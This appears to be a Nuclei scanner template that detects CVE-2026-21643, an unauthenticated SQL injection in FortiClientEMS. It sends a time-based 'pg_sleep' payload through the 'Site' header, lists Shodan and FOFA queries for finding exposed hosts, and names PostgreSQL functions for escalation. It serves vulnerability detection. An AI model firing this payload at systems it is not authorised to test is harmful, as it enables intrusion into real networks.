id: CVE-2026-21643

info:
  name: Fortinet FortiClientEMS 7.4.4 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Fortinet FortiClientEMS version 7.4.4 and earlier contains an unauthenticated SQL injection vulnerability in the /api/v1/init_consts endpoint. The 'Site' HTTP header value is passed directly into the PostgreSQL search_path without sanitization, allowing remote unauthenticated attackers to inject arbitrary SQL commands. This can lead to information disclosure, database manipulation, or OS command execution when chained with PostgreSQL functions.
  impact: |
    An unauthenticated remote attacker can execute arbitrary SQL queries against the backend PostgreSQL database, potentially extracting sensitive data, modifying database contents, or achieving remote code execution through PostgreSQL-specific functions (e.g., COPY, lo_import, pg_read_file).
  remediation: |
    Upgrade FortiClientEMS to a patched version as recommended by Fortinet. As a workaround, restrict network access to the FortiClientEMS management interface and apply WAF rules to filter malicious Site header values.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-2026-21643
    - https://nvd.nist.gov/vuln/detail/CVE-2026-21643
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-21643
    cwe-id: CWE-89
    epss-score: 0.94085
    epss-percentile: 0.99836
  metadata:
    verified: false
    max-request: 2
    vendor: fortinet
    product: forticlientems
    shodan-query: http.favicon.hash:-800551065
    fofa-query: icon_hash="-800551065"
  tags: cve,cve2026,sqli,forticlient,ems,fortinet,,vkev,kev

http:
  - raw:
      - |
        GET /api/v1/init_consts HTTP/1.1
        Host: {{Hostname}}

      - |
        @timeout: 20s
        GET /api/v1/init_consts HTTP/1.1
        Host: {{Hostname}}
        Site: tenant1; SELECT pg_sleep(8)--

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "SITES_ENABLED\": true")'

      - type: dsl
        name: time-based
        dsl:
          - "duration_2>=8"
          - "status_code_2 == 500"
        condition: and
# digest: 4a0a00473045022100f511809c449e6392ecb0ead508c73b24b4e5396184caaf86cd477c852aa16eef02203183ee6609312a0c3b23b3e4096c95f7c386c13309bf76651a21b22ce11be784:922c64590222798bb761d5b6d8e72950